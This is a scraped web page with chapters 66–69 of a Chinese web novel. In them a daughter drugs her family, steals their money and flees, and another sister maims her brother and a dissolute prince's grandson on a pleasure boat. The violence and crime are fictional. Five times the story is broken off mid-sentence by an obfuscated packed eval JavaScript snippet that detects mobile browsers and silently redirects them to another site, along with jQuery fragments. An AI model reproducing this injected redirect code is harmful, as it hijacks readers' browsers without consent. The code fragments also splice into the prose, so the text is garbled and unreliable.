晏明远在心底叹气。
他知道,妹妹是怕之后被温家人看到脸嫌弃,所以现在就开始讨好舅母他们了。
没过多久,晏明月就在莲儿的帮忙下做好了一顿饭。
很简单的鸡汤面条。
味道平平无奇,但每个人都给面子的吃完了。
唯有晏明月说自己胃口不好,没怎么动筷子。
用过晚膳后,晏明远原本还想跟妹妹在说说心里话,但却被她拒之门外了。
他只得无奈离开,打算明天在和妹妹好好聊聊。
晏明月回到屋子里,催促着莲儿赶快收拾行李,而后点燃了一炷香开始进行计时。
“小姐,咱们真的要走吗?”莲儿快哭出来了。
小姐今日带着她去县城里逛了一圈,还买了**,做饭时让她下到饭里,让舅夫人和两位少爷都吃了。
她当时腿都吓软了。
如今,小姐又让她收拾行李,说要远走高飞。
她更害怕了。
“随你,你要是不跟我走,明日他们醒了,你会是什么下场,不用我提醒你吧。”晏明月冷冷地看着她。
莲儿的脸瞬间变得煞白。
她不敢再发出质疑,噙着泪迅速收拾起行李。
直到香燃尽,晏明月果断起身,去找大哥。
“二小姐,大少爷已经歇下了。”小厮竹安拦住她,不让她进门。
晏明月却不管不顾地推开房门:“我有要紧的事要跟大哥说。你离远些,不许偷听。”
竹安想拦,但想到大少爷对二小姐的宠爱,他又收回了手,听话地走远了一些。
晏明月火速关上门,走到床边,轻轻推了晏明远一把。
“大哥?大哥?”她连着喊了两声,晏明远昏睡着毫无反应。
她又用力地推了他一下,见他还是闭着眼睛,顿时放下心来。
她抓紧时间把晏明远的包袱都翻了一遍,将里边的银票全都拿走了。
紧接着,用同一个理由如法炮制,把姜清屏和温韫带的银票还有之前的首饰都拿走了。
想着明日要做的事情,晏明月一夜未眠。
今日她出门,原本是为了打听附近有没有神医,却无意中听到了一个从南穹国回来的男人在吹嘘路上的见闻。
他说南穹国有一个很厉害的巫医,名叫巫颜子。
医术能够活**肉白骨,之前有一个奇丑无比的女子因为嫁不出去,去找巫颜子治病。
治好后成了绝世大美人,被好多人抢着娶回家。
晏明月一瞬间仿佛抓住了救命稻草。
她要去南穹国,找巫颜子给自己看脸。
不管花多少银子付出多少代价,只要能让她的容貌恢复如初,她都愿意。
但舅母和大哥他们肯定不会同意送她去南穹国的,她只能靠自己了。
晏明月紧紧抱着收拾好的包
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15601678|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
袱,等着清晨的到来。
天空泛起鱼肚白,晏明月昨日请的镖局已经全副武装地出现在了客栈门口。
她看到人,赶紧叫上莲儿,拿着包袱小心翼翼的下楼。
好在这个时间还很早,其他人的丫鬟都没醒,舅母他们也因为吃了带有**的鸡汤面,至今还未清醒。
“小姐,咱们出发了吗?”镖局的刘老大冲她抱拳询问。
“嗯,出发吧。”晏明月怀里揣着**,点了点头。
马车摇摇晃晃地出发。
晏明月看着渐行渐远的客栈,见没有人追出来,悬着的心终于放下了。
一旁的莲儿也长长地舒了一口气。
但紧接着,眼泪就跟着落了下来。
从今往后,她恐怕再也见不到家中的亲人了。
*
待到日晒三竿时,晏明远终于醒了。
“大少爷,您可算醒了。二小姐和莲儿,不见了。”竹安一脸着急。
“不见了?什么意思?”刚刚清醒的晏明远头还有些痛,他有些反应不过来竹安说的这话是什么意思。
“一大早,小的想您起来用早膳,却怎么也叫不醒您。便想着请二小姐拿个主意,没曾想,他们的屋子里空无一人。”竹安急得快哭了。
“什么?可报官了?”晏明远急得掀开被子就起身。
但起身的瞬间头却发晕,让他晃了晃又跌坐回床上。
“当然得报官了!堂堂侯府嫡女,竟然做出那等偷鸡摸狗的事情。”姜清屏怒气冲冲地闯了进来。
她的话让本就迷糊的晏明远更加茫然了。
“舅母所言何意?”他不解地开口。
“昨夜那混账东西进了我的屋子,将我包袱里现银和值钱的东西都拿走了。”姜清屏气得快要吐血。
她活了几十年,还是头一回遇上**他人财物的官小姐。
“不可能。”晏明远脱口而出。
母亲给了明月许多陪嫁,她不缺银子,怎么会干出这样的事情呢。
“怎么就不可能了。不止我的,韫儿的那些现银也被她偷了。”姜清屏眼睛在他的房间里扫视了一圈,而后冷笑一声。
“听闻昨夜她也来了你的屋子里,你还是看看你的银票还在不在吧。”
“明月不是那样的人。定然是有窃贼闯入了客栈,又掳走了明月主仆。”晏明远嘴上说着不相信,但身体很诚实地翻找了起来。
看着藏银子的地方空空如也,晏明远彻底傻眼了。
“这下你该信了吧。”姜清屏气笑了,当即吩咐丫鬟去报官,必须将晏明月给捉拿回来。
第66章 今夜宜**
“不,舅母,不行,不要报官。”回过神来的晏明远赶忙阻拦。
“此事或许有什么误会呢。”
晏明远此刻还抱着一丝希望。
“没有误会。我已经打听过了,客栈小二瞧见她抱着包袱带着丫鬟上了马车,是她主动离开的。”姜清屏气得柳眉倒竖。
“再说了,她都不管我们的死活了,我还管她的名声?必须报官!”
“不是她的名声,是侯府的名声。”晏明远快速解释了起来,生怕她一怒之下真的去报官。
“您若将此事宣扬出去,那定远侯府的脸可就丢大了,温家也会没面子。倒不如将此事抹了。”
面前的是侯府未来的继承人,姜清屏还是给了他一个面子,开口道:“怎么抹?”
晏明远从牙缝中挤出一句话:“就说她突发恶疾,没了。”
“她要给表哥做妾一事,也当从没发生过。就说这一回是回外祖家探亲的。”
姜清屏略微思索了片刻,觉得这是一个好主意。
本来正妻没入门就不该纳妾,若不是晏明月和韫儿有了夫妻之实,又有侯府威压。
她才不愿意咽下这口气。
这一路她还发愁着该怎么跟林家解释先纳妾的事。
如今晏明月卷款潜逃也好,他们就当没发生过这个事,也算是皆大欢喜了。
晏明月一个小丫头,孤身带着一个丫鬟和巨款,迟早要死在外边。
这么一想,姜清屏心里舒坦多了。
她拍了拍晏明远的肩膀:“行吧,看在你母亲的份上,就按你说的办吧。”
“多谢舅母谅解。”晏明远一张脸臊得通红。
昨日,他还想着如何帮妹妹和外祖一家解释,今日就被晏明月这个举动隔空狠狠扇了一耳光。
她把银钱都拿走,就没想过他该如何面对舅母他们吗。
“既然都走到这儿了,你就随我们一块去青州吧,你外祖父外祖母定然也很想你。”姜清屏放缓了语气。
好在她身上还藏了些银票,不然现在都没法回家了。
“好。”晏明远僵硬地点点头。
离开客栈前,他快速提笔写了一封信,命人快马加鞭将这事传回京城。
这事,必须得让父亲母亲知晓。
*
晏明月的“死讯”尚未传回京城,晏逐星等的机会就来了。
“小姐,二少爷又和谢世孙出门喝酒了。”双鲤收到消息,第一时间跑来告诉自家小姐。
晏逐星数了数,晏明修这个月已经第三次和谢锦程出门饮酒作乐了。
每一次喝完酒回府,都是醉醺醺的。
惹得定远侯十分不悦,认为他不务正业。
但晏明修自打上回因为她被罚跪祠堂后,整个人就变了,整日就跟定远侯作对。
温如霜瘫痪,晏明远不在,没人能管得了他。
晏逐星对此倒是乐见其成。
再这么玩下去,明年晏明修别想考上举人了。
“他们这一回去哪,打听到了吗?”晏逐星抬头看向双鲤。
双鲤利落点头:“打听到了。谢世孙包了醉花坊的船,他们今夜要去参与选花魁。”
选花魁啊。
或许是个不错的机会。
晏逐星拖着下巴思索了起来。
谢锦程乃是昭瑞亲王的嫡孙。
昭瑞亲王是先帝的兄长,也是当今皇上唯一在世的伯伯。因而他的地位十分尊贵。
他的孙儿谢锦程是一个不折不扣的纨绔子弟。
上辈子她就对这人有所耳闻。
此人好色,尤其好良
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15604638|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
家妇女。
上一世,有一个卖鱼郎的夫人去王府帮着夫君送鱼,就被谢锦程给看上了。
他强行要了人家,还想把人囚禁在府中**。
不曾想,这卖鱼郎的夫人是个烈性子,当场撞柱而亡。
卖鱼郎上门寻迟迟未归的夫人,谢锦程身边的狗腿子像往常一样要用银子把人给打发了。
毕竟从前闹出来的那些事,都是这样摆平的。
成了亲的妇人,就算失了清白也不会像未出阁的女子一样容易被察觉。
只要他们不声张,旁人就不会知晓。
因而之前的许多人最后忍气吞声,都选择了拿钱走人。
他们以为卖鱼郎也一样。
毕竟那可是一百两银子呢。
卖鱼郎没要银子,一言不发地带走了夫人的尸体。
谢锦程等了几日都没见他来闹,就把这事抛到了脑后。
没想到,几日后,卖鱼郎终于等到了裴明镜,当着许多人都面,背着夫人的尸体冲到他面前跪下求他做主。
一时间,满京城都知道了这事。
裴明镜查明真相后,上奏皇上,请求皇上依照律法判处谢锦程绞刑。
谢锦程乃皇室宗亲,处置他必须得让皇上来裁决。
但昭瑞亲王坚决不同意,声称孩子还小,不懂事,且天潢贵胄不宜戮,以亲王的身份保住了谢锦程的命。
最终谢锦程只是被贬为了庶人,终身幽禁于王府当中,不得踏出半步。
晏逐星对这个判决很不满意。
既然律法不能让这样的**送命,不如她来替天行道,让他和晏明修一块下黄泉。
晏逐星思索片刻,做出了决定。
今天是个好日子,夜黑风高,很适合**。
该动手了。
第67章 求爷怜惜我
夜幕笼罩金水河,十二艘画舫亮起灯笼。
晏明修跟着谢锦程钻进挂着“锁春艇”木牌的画舫,扑面而来的炭火暖意驱散了冬日的寒气。
两个小丫鬟手脚麻利地帮他们脱去狐裘。
谢锦程大喇喇地躺在湘妃榻上,三个穿薄纱的侍女立刻围上去伺候。
一个跪着给他揉肩,一个跪着给他捶腿,还有一个捧着酒壶替他斟酒,捧着酒杯喂到他嘴边。
晏明修看直了眼。
“明修,你愣着做什么,躺下呀,让她们也伺候你。”谢锦程笑着揽过了喂酒的侍女,亲了一口。
晏明修依言躺在了另一边。
他接过侍女递的温酒,感慨道:“要不是锦程兄,这辈子我都见不着这样的盛景。”
“这有什么,跟着小爷混,往后这种快活日子少不了。”谢锦程笑了起来。
当初他和晏明修不过是点头之交。
结果有一次他在书院闯了祸,晏明修二话不说替他扛了黑锅,打那之后他就真心把他当朋友了。
混熟了才发现,晏明修不仅吃喝玩乐样样在行,说话做事都很对他胃口。
因而今晚画舫只让带个伴,谢锦程头一个想到的就是他。
“那我日后可就仰仗锦程兄了。”晏明修哈哈一笑。
“好说好说。”
画舫雕窗外传来丝竹声,河面倒映着各色灯笼,像撒了把碎金子。
晏明修闭上眼享受了起来。
今夜醉花楼摆出十二艘画舫选花魁,每船要价百两纹银,这快赶上他一年的月银了。
要不是谢锦程阔绰,他可没这个福气上船。
登船者每人可得醉花楼给的三支珍珠玛瑙花簪。
今夜一共有十二个花娘来参选花魁,她们会轮流上船呆上一刻钟的功夫,使出浑身解数展露才艺,从船上恩客手中拿到簪子。
拿到簪子数量前三的花娘,即可入主船争夺最后花魁的名头。
主船那边早开了赌盘:押中前三甲赔双倍,押中魁首不但翻倍,还能优先竞价成为今夜花魁的入幕之宾。
这连环局引得京城中的风流人士争相撒钱。
今夜的醉花楼,可谓是全京城最热闹的地方了。
“铛铛铛”
伴随着三声铜锣响。
金水河漾开层层波澜,一艘画舫撞散夜色贴了过来。
两个船夫甩出缆绳,“咔嗒”一声将两船锁死。
醉花楼的第一个姑娘要登船了。
晏明修紧张得坐起了身子。
船帘被掀开,一个裹着银狐裘的姑娘抱着琵琶走了进来。
她一露面,先前伺候两人的侍女们齐刷刷地退到了屏风后。
这是醉花楼的规矩,姑娘献艺时不得有旁人扰了贵客的雅兴。
“奴家瑟瑟,给二位贵人献丑了。”她垂首拨了下琵琶弦,披在肩上的狐裘突然滑落,雪白肩头暴露在二人的视线中。
晏明修呼吸一滞,攥着酒杯的手指收紧,目光却黏在那片肌肤上撕不下来。
琵琶弦震出清泠泠的颤音,瑟瑟低头吟唱。
一曲毕,她眼波掠过案上的花簪,露出了一抹羞涩又勾人的笑。
“这簪子真好看。两位爷能赏给奴家么?”
“赏。”晏明修拿起一支簪子就要塞到瑟瑟手里。
一旁的谢锦程却用扇子拦住了他。
“咱们拢共就三支花簪,给了她,后边还有十一个姑娘没看呢。”
瑟瑟咬住下唇,眼尾泛起水光。
“爷这是嫌我弹得不好?还是觉着我容貌入不得您的眼?”
她这委屈巴巴的模样,看得晏明修心都要化了。
“想要这簪子,你总得付出点诚意吧。”谢锦程嘴角浮起三分痞气。
瑟瑟识趣,主动倒了一杯酒,凑到了他跟前:“奴家敬您一杯酒,这簪子,您就赏了奴家吧。”
说罢,她仰头将酒喝下。
一缕酒从唇边溢出,顺着她纤细的脖颈滑落,消失在胸前。
晏明修喉结重重滑动
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15604639|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,盯着那道蜿蜒的水痕咽了咽口水。
瑟瑟借着酒劲贴上谢锦程臂弯,冲他抛了个媚眼,软软道:“求爷怜惜奴家。”
“罢了,你既是今夜头一个求爷的,那就给了你一个体面吧。”谢锦程将花簪扔到了她怀里。
瑟瑟露出了笑意,忙跪下行礼:“多谢两位爷赏。”
她握着花簪,笑意盈盈地离开了,跟着船夫去往下一艘船。
“明修,你何须着急,这样的女人待会你还得看十一个呢。”谢锦程哈哈一笑。
晏明修赶忙收回了追随瑟瑟的视线,讪讪地躺回了原位。
先前的几位侍女们轻步绕出屏风,执壶斟满酒杯,将桌上切好的梨片用银叉送到二人唇边。
不过片刻功夫,珠帘又被新到的姑娘给掀起。
她表演的也是弹曲儿,先前瑟瑟已经弹过了琵琶,她弹的虽然是古琴,但少了几分惊喜。
因而晏明修和谢锦程便没有继续给簪子。
任凭她使尽浑身解数,两人都没松口。
一刻钟到,这姑娘只得悻悻地离开了他们的船。
下一个姑娘接踵而至。
然而两人今夜看了不少美人,簪子给得是愈发谨慎了。
直到第十个姑娘,他们才给出了第二支花簪。
“难不成争花魁的姑娘就这些?”谢锦程有些失望了。
话音刚落,铛啷啷一串脆响,帘子猝然荡开,一双缠着金铃的雪白赤足便踏了进来。
两人抬眼望去,顿时眼前一亮。
这一回来的姑娘戴着面纱,眉眼似乎用胭脂描红,多了一股难掩的魅惑。
面纱随着呼吸起伏,晃得人喉头发紧。
烟红薄纱堪堪遮住腰肢,隐隐约约透出其中赛雪的肌肤。
她每走一步,缀在裙摆的金铃便和脚踝上的那串一块叮叮当当响了起来。
晏明修看得袖口泼了酒都未曾察觉。
谢锦程也难得征神了片刻,他忍不住问道:“你叫什么名字?”
第68章 一次杀两人
然而这姑娘却没有说话。
紧跟在她身后,进来了一个抱着鼓的小丫鬟。
小丫鬟也和她一样,戴着面纱,只不过穿得严实多了。
“为何不说话?”谢锦程又问。
回应他的是鼓声。
舞娘冲他行了一礼,而后旋身踩着鼓点起舞,石榴红的裙摆扫得叮当作响。
船身跟随她的舞步轻微晃动。
谢锦程见她这姿态,不像练过舞的,心中有些惊讶。
还没来得及质问,就见她旋转着身子靠近了案几。
“诶,我可没说把花簪给你。”谢锦程探身想要阻拦。
舞娘便利落地从案几上越过,缠满铃铛的赤足已抵在他膝头。
从他的角度看去,裙底风光若隐若现,格外勾人。
谢锦程心跳乱了半拍。
舞娘含笑俯身,将冰凉的酒盏贴上他的唇边。谢锦程下意识地仰头张开了嘴,舞娘顺势将酒灌入了他口中。
一旁的晏明修已经看呆了。
此时,鼓槌重重砸下最后一个音。
先前打鼓的小丫鬟猝不及防从裙摆掏出了一支三寸长的铜**,对准谢锦程的下半身射去。
谢锦程只觉得胯间剧痛,猛地爆发出惨烈的尖叫。
喂酒的舞娘凑到了谢锦程耳边,阴恻恻道:“晏明修,我要你**。”
“我不是晏明修啊,他才……”谢锦程嚎到半截昏死过去。
打鼓的丫鬟第二支**箭对准了晏明修。
晏明修终于反应过来,将案几扛起挡在自己的面前,将那支**箭给挡偏了。
他还没来得及松一口气,舞娘拔下发间的金簪用力戳进他左眼。血液蹦出,晏明修感觉左眼一片黑暗。
他惨叫着往后闪躲,手掌撞翻了一旁的烛台,火苗蹿上锦缎屏风,一瞬间锁春艇便燃起了大火。
躲在屏风后边的侍女们惊慌失措地跑了出来。
舞娘不再迟疑,将射过来的两只**箭捡起,随后毫不犹豫地从窗户一跃而出。
躲在另一条船里烤火取暖的船夫听到有人落水,吓了一跳,忙举着灯笼出来查探情况。
他们只看见黑沉沉的水面上飘着先前送来的那位姑娘脸上戴着的面纱,连接两条画舫的铁链不知何时被人撬开,锁春艇早顺着暗流漂出一丈远。
“呀,着火了,快救人!”
“愣着干嘛,里边可是昭瑞亲王府的那位世孙,还有定远侯府的二少爷啊!快救人!”
两个船夫着急忙慌地叫人。
醉花楼的护卫们第一时间冲过来救火。
而两个凶手,早已借着夜色悄悄逃离。
*
岸上的双鲤守在马车旁,急得直跺脚。
九栀姐姐和小姐怎么去了那么久还没回来。
没过多久,水底忽然冒出一个几乎不着寸缕的身影,双鲤认出是九栀,赶忙把先前准备好的斗篷裹到了她身上。
“快上马车,已经生好炭火,还有汤婆子也都备好了。赶紧换衣裳喝姜汤,莫要染了风寒。”双鲤将她推上马车,继续在岸边焦急地等待。
九栀姐姐回来了,小姐怎么还不见踪影?
小姐腿脚才刚好一些,要从那么远的地方游过来,不会出什么事了吧。
她越想越害怕,急得在岸边来回踱步。
小姐这也太冒险了,若是小姐有三长两短,她该怎么办啊。
“哗啦”一声响。
水里冒出了个脑袋。
看清晏逐星的脸,双鲤喜极而泣地扑了过去。
“呜呜呜,小姐你总算回来了。”
“别哭,拉我一把,我没力气了。”晏逐星虚弱地吐出这句话。
“好。”双鲤赶忙将她扯上了岸。
马车里换好衣裳的九栀跳下来,和她一块将晏逐星抬上了马车。
晏逐星只觉得整个人都虚脱了。
躺在马车时,她才发现自己双腿还在打摆子。
见她没了力气,九栀直接捏住她的下巴给她灌姜汤,双鲤替她换了一身干爽的衣裳,随后用羊毛毯子把她紧紧裹住,又往她怀里塞了一个汤婆子。
晏逐星这才感觉先前金水河带来的刺骨寒意渐渐退去。
上回从马车上坠落的腿此刻有几分隐隐作痛,晏逐星决定回头去请季太医帮忙再瞧瞧。
虽说上回她伤得不算特别严重,但伤筋动骨一百天。
这才过了一个多月,还是谨慎点好。
见晏逐星的嘴唇从先前的惨白没有颜色,到渐渐浮起一丝淡淡的红,双鲤这才松了一口气,开始慢条斯理地
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15611339|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
替她烘干头发。
见她缓过劲来,九栀便出了车厢,裹紧斗篷驾着马车往侯府赶去。
离侯府百步远,九栀跳下马车。
候着的车夫立刻接过缰绳,她转身搀扶着裹着狐裘直打颤的晏逐星往侯府角门走。
双鲤打着灯笼亦步亦趋地跟紧两人。
晏明修出事的消息比晏逐星更早回到侯府。
定远侯得知儿子在画舫上出了事,惊得立刻从阮寄薇的被窝里爬出来,匆匆穿上衣裳往外赶去。
温如霜得知儿子生死未卜,当场晕了过去。
整个侯府乱成了一团。
因而晏逐星几人悄悄从角门回来,并未被旁人发现。
刚回到玉澜院,衔蝉便迎了上来。
“热水已经备好了,小姐请随我来。”
“嗯。你们也别冻着。”晏逐星扭头嘱咐九栀和双鲤。
“阿、阿嚏!
刚说完别冻着,她自己就先打了个带颤音的喷嚏。
三个丫鬟见状,七手八脚架着她胳膊往屏风后拖。
雕花木桶还冒着白汽,双鲤直接就把她往热水里送。
衔蝉赶忙阻止:“受了寒不能马上往热水里泡的,到时候手脚容易生冻疮。”
双鲤和九栀恍然大悟。
“你们先走吧,小姐这儿我来伺候就好。”衔蝉让她俩打了热水离开,她先用热乎乎的布给晏逐星浑身上下都搓了一遍。
搓到她自己微微发热了,这才让她泡进浴桶里。
这下,晏逐星感觉自己整个人都活了过来。
衔蝉搬来一张小凳子,坐在身后规规矩矩地替她沐发。
蒸汽缭绕中,晏逐星掬起一捧热水淋在肩上:“衔蝉,明日你便回永安王府去吧。”
衔蝉一惊,手里的动作顿住了。
她小心翼翼地问道:“可是奴婢做错了什么,惹得小姐不悦了?”
“你到底是王府的婢女,并非我的丫鬟。这段时间,你在我这受委屈了。”晏逐星语气十分平静。
衔蝉忙道:“不委屈,能跟在小姐身边伺候,是奴婢的福气。”
“是么?”
晏逐星轻笑一声,撩开粘在颈间的湿发,一字一句道:“既是如此,为何我的事你全都一字不漏地传回了永安王府。”
第69章 命根子废了
衔蝉手里的铜瓢磕在桶沿嗡嗡作响。
她没想到,大小姐什么都知道,只是一直什么都没说。
“奴婢,奴婢……”衔蝉张了张嘴,想要解释,但又不知道该怎么辩解。
最后只是颓然地垂下了头。
她的身契还在王府,她本就是王府的人,给王爷通风报信也是她的职责。
只是面对大小姐的质问,她还是有些羞愧。
毕竟大小姐待她真的很好。
“奴婢知道了,明日我就回王府去。”衔蝉抿唇,继续替她沐发。
晏逐星没有挽留。
虽然她也很喜欢衔蝉,也知道永安王对她没有恶意。
但她不想留一个一直窥探着自己的人在身边。
永安王只是暂时对她没有恶意,难保之后不会改变主意。
他的眼线,还是还给他的好。
约莫在晏逐星回府的三刻钟后,定远侯带着重伤的晏明修回了府。
当天夜里,侯府灯火通明,太医走后,又来了七八个大夫,一直在晏明修的院子里进进出出。
晏逐星没管他们,洗完热水澡后就直接去睡觉了。
她太累了,没空去逢场作戏。
翌日清晨,她给了衔蝉一张百两银票和一根银簪。
“这些时日,辛苦你了。这支银簪乃是我亲手做的。日后若你有事需要我帮忙,可以拿着簪子来侯府寻我。”
衔蝉收拾好包袱,看着这张银票,心里有些发堵。
她没有收下银票,直接过了簪子:“奴婢伺候小姐,王爷已经给过赏银了。簪子奴婢收下了,多谢小姐,往后您自己多多保重身子。”
“衔蝉姐姐,你要走了吗?”双鲤依依不舍地看着她。
衔蝉姐姐人漂亮又温柔,懂得还多,许多勋贵世家的礼仪都是她教她的。
她真舍不得衔蝉姐姐。
“嗯,王爷的玉坠已经找到了,我该回去了。”衔蝉摸了摸她的脑袋,没有说实话。
“我走之后,你好好伺候小姐。”
“嗯,我会的。”双鲤忍着眼泪点头。
看着衔蝉离开的背影,双鲤最终还是没忍住,跑过去一把抱住了她。
“衔蝉姐姐,呜呜呜,我舍不得你。”
晏逐星没有说什么,让她们小姐妹俩单独叙话,随后唤九栀推来轮椅。
“走吧,咱们去看看二哥。”
“是。”九栀推着她去了晏明修的院子。
温如霜早就守在了床边。
她和晏明修都躺着,母子二人看起来如出一辙的凄惨。
晏明修的左眼被厚厚的纱布包着,眼睛估计是保不住了。
“你来做什么?!是想看明修的笑话吗?”温如霜恨恨地看着她。
自打这丫头告官后,定远侯府就祸事频出。
她真是恨死她了。
她凉凉道:“二哥这左眼是怎么了?瞎了吗?”
“你才瞎了呢!”她一句话就挑起了温如霜的怒火,气得温如霜抓起手边的茶盏就砸了过来。
九栀瞬间想要出手接住,晏逐星察觉到她的意图,直接出手按住了她的胳膊,而后用力往后仰避开了泼出来的茶水。
九栀会武功的事情,暂时还不能暴露。
“小姐?”九栀见她被泼到,牙齿都咬紧了。
晏逐星冲她摇了摇头,示意她不要冲动。
那盏温热的茶只是泼到了她的身上,并没有溅到她的脸。
冬日衣裳穿得厚,她没什么感觉。
“二哥还活着,就是喜事。母亲何必做出一副**儿子的模样。”晏逐星确认了床上晏明修没死,只是瞎了,转身打算离开。
“你个混账东西。我告诉你,就你这副冷心冷肺、六亲不认的德行,迟早要遭天打雷劈!你且等着,你必定要比明修凄惨百倍,不得好死!”温如霜气得胸口起伏,大口大口地喘气。
“一大早的,吵吵嚷嚷什么!”定远侯的声音从院子里传来。
晏逐星赶忙冲他行礼:“见过父亲。”
“你这衣裳怎么了?”定远侯一眼就看到了她被打湿的衣裳。
晏逐星抿唇,随后委委屈屈地开口了:“母亲因为二哥伤势忧心,心情不好,泼了我一盏茶罢了。”
温如霜没想到她竟然当着她的面就颠倒黑白告状。
她干脆也破罐子破摔,怒吼道:“她又不是诚心来探望明修,她就是来看明修的笑话,我泼她茶怎么了。我还想扒了她的皮呢。”
“母亲,您这话可真是太让我伤心了。我昨夜歇得早,不知道发生了什么事。今日一早得知二哥受伤,便匆匆赶来了,连早膳都未曾用过。我怎么就不是诚心来探望二哥的了?”
晏逐星哽咽着反驳,手里的帕子都拧成了一团,眼里满是伤心和失望。
“你就是……”温如霜还没说完,就被定远侯打断了。
“胡闹!明修受伤,你迁怒星儿做什么?”
定远侯深吸一口气,将怒火压下。
他现在没心情给两人断官司,他只想快点把两人分开。
“星儿,你先回玉澜院去。”
“是。”晏逐星毫不犹豫,让九栀推着她回去。
戏演到这里就够了。
温如霜失望地看着定远侯。
侯爷已经变了,从前他最是疼爱他们母子,如今他却这样轻飘飘地放过了顶撞她的晏逐星。
“明修可醒了?”定远侯脸色阴沉地开口。
“尚未。”温如霜面容满是愁苦。
太医和大夫都说儿子这只眼睛是保不住了,万幸的是身上的烧伤不算严重,今日就能清醒过来。
一想到儿子缺了只眼睛,她这颗心难受得像是被人狠狠捅了好几刀。
定远侯的脸色也好看不到哪里去。
他压抑着怒火,开口道:“若他醒了,立刻将他送去昭瑞亲王府赔罪。”
“什么?”温如霜声音陡然变得尖厉。
“若不是谢锦程硬拖着明修陪
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15611340|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他去什么醉花楼,明修怎么会生生废了一只眼睛。如今你竟然让他去给谢锦程赔罪?你真是枉为人父。”
定远侯也火了,怒声反驳:“你可知昨夜的祸事是谁招惹的?!”
他伸手指向床上还在昏迷的晏明修。
“正是你的好儿子!谢世孙也是受了他的牵连。”
温如霜瞪大了眼睛,不可置信道:“不可能!”
定远侯指节捏得青白,咬牙切齿道:“如今他只是瞎了一只眼,而谢世孙的子孙根都废了,从此以后就是个废人。昭瑞亲王的血脉都断了,他若是不去请罪,咱们整个侯府都得完蛋。”
温如霜如遭雷击。
她没想到谢锦程竟然伤得比自己的儿子还重,往后都不能人道了。
但她心底忽然又透出点扭曲的快意。
谁让谢锦程非要带明修去那种腌臜地方,命根子废了也是活该。
躺在床上的晏明修醒来,听到父亲和母亲争执,虚弱地开口:“不,我,没有……”
“明修,你总算醒了。”回过神来的温如霜,赶忙伸手握住儿子的手。
她想翻身把耳朵凑到儿子身旁,却无能为力,急得她猛拍床板。
“快听听二少爷说什么。”
嬷嬷李氏赶忙弯腰凑过去,就听到晏明修恨恨道:“此事与我无关,那人一来就冲着谢锦程去的。”
李氏将他的话原原本本地转达。
温如霜激动起来:“看吧,我就说和咱们明修没关系!”
定远侯露出了迟疑:“可王府那边传来了消息,说那人射杀王府世孙时,对他说的是‘晏明修,我要你**。’若不是冲着你去的,还能是谁。”
“我没有得罪过别人。”晏明修也激动了起来。
他一激动,就剧烈咳嗽了起来,下人们赶忙上前伺候。
见他否认得这么果断,定远侯陷入了深思。
莫不是昭瑞亲王骤闻谢锦程重伤垂危的噩耗,痛彻心扉的打击下竟失了方寸,刻意将明修推作替罪羊来宣泄心头之愤?
晏明修喝了一口水缓过气来,伸手摸了摸自己包扎的眼睛,惊恐道:“母亲,我是不是从今往后都看不见了?”
“你好好休息,日后……”温如霜说着谎话想要安慰儿子。
但晏明修根本不听,他抬手挥舞,根本不管温如霜身子不便,竟是直接将她从一旁的榻上推了上去。
“滚,你们都给我滚出去。”
“哎哟。”温如霜惊呼一声,摔在地上,狼狈地哭了起来。
“二少爷。”
“夫人。”
丫鬟们手忙脚乱了起来。
